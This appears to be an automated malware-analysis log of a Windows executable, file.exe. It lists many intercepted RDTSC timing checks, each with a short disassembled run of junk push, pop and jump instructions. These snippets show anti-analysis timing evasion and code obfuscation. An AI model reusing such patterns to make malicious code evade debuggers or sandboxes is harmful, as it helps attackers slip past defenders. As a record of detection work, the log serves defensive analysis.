Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778472 second address: 778482 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jnc 00007F1458521AB6h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778482 second address: 77848A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77848A second address: 77848E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77848E second address: 7784B2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F145915A7C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F145915A7D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7784B2 second address: 7784B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778797 second address: 7787A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7787A3 second address: 7787A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7787A7 second address: 7787AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7787AB second address: 7787C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521AC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 778A78 second address: 778A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jnp 00007F145915A7E1h 0x00000011 pushad 0x00000012 jmp 00007F145915A7D3h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781210 second address: 781217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781354 second address: 781358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781358 second address: 78135D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78135D second address: 78136C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F145915A7C6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781634 second address: 781639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781784 second address: 781791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F145915A7C6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781791 second address: 781797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7818D4 second address: 7818E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F145915A7C6h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7818E2 second address: 7818E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A78 second address: 781A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A7E second address: 781A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1458521AB6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jmp 00007F1458521AC4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781A9F second address: 781AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B882 second address: 78B8AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521AC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jl 00007F1458521AB6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jp 00007F1458521AB8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789F58 second address: 789F62 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F145915A7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3B0 second address: 78A3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6CE second address: 78A6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A6D4 second address: 78A6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A9C5 second address: 78A9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789646 second address: 78964C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78964C second address: 789655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789655 second address: 789686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1458521AC5h 0x00000009 jmp 00007F1458521AC8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789686 second address: 78968A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79170B second address: 79171E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1458521ABFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79171E second address: 79173A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F145915A7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F145915A7CEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796AE3 second address: 796AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F1458521AC2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796AFB second address: 796B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 796B01 second address: 796B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2B3B second address: 7A2B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D3h 0x00000007 pushad 0x00000008 jmp 00007F145915A7CAh 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 push eax 0x00000018 pop eax 0x00000019 pop esi 0x0000001a ja 00007F145915A7CCh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A25BE second address: 7A25C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5B94 second address: 7A5B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9376 second address: 7A9387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABAh 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F27 second address: 7A8F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F2D second address: 7A8F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F31 second address: 7A8F42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F42 second address: 7A8F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8F4E second address: 7A8F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F145915A7CAh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAAD2 second address: 7AAAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAAD6 second address: 7AAADC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAADC second address: 7AAAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B706F second address: 7B7073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6ECA second address: 7B6ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6ED0 second address: 7B6ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6ED6 second address: 7B6EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6EDC second address: 7B6EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9FC8 second address: 7B9FCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0415 second address: 7C0427 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F145915A7C6h 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0427 second address: 7C0433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1458521AB6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0433 second address: 7C0437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0437 second address: 7C043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C043D second address: 7C0455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jg 00007F145915A7C6h 0x00000010 jbe 00007F145915A7C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0455 second address: 7C047B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1458521AC8h 0x0000000a push edx 0x0000000b js 00007F1458521AB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C047B second address: 7C0492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F145915A7C6h 0x0000000d jmp 00007F145915A7CAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0710 second address: 7C0714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0714 second address: 7C0718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0718 second address: 7C0728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1458521AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0728 second address: 7C0742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F145915A7C6h 0x0000000e jmp 00007F145915A7CCh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0742 second address: 7C0746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0746 second address: 7C074C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0894 second address: 7C08AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F1458521ABEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08AE second address: 7C08B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08B4 second address: 7C08C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F1458521AC2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08C1 second address: 7C08C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C08C7 second address: 7C08CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0C8D second address: 7C0CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F145915A7C6h 0x00000009 jnp 00007F145915A7C6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F145915A7CAh 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E2E second address: 7C0E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1458521AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E38 second address: 7C0E5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F145915A7D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F145915A7CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E5B second address: 7C0E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F1458521AC4h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C497C second address: 7C4984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4984 second address: 7C4990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1458521AB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4990 second address: 7C4995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4709 second address: 7C471B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFF6F second address: 7CFF73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFF73 second address: 7CFF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E227B second address: 7E2284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2284 second address: 7E228A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E1DF4 second address: 7E1DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F145915A7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F893B second address: 7F8962 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1458521AC8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8962 second address: 7F8995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F145915A7D3h 0x0000000a jmp 00007F145915A7D4h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8995 second address: 7F899F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7886 second address: 7F788A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7C9C second address: 7F7CBE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1458521AB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1458521AC4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7CBE second address: 7F7CC4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7CC4 second address: 7F7CC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7E23 second address: 7F7E37 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F145915A7C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F145915A7C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7E37 second address: 7F7E52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1458521AC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8109 second address: 7F810D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F810D second address: 7F8111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8111 second address: 7F8130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F145915A7D5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8130 second address: 7F816D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1458521ABEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jl 00007F1458521AB6h 0x00000010 jmp 00007F1458521AC3h 0x00000015 pop ebx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1458521ABDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F816D second address: 7F8173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8173 second address: 7F8179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8179 second address: 7F817D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC86E second address: 7FC872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCDDD second address: 7FCDEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
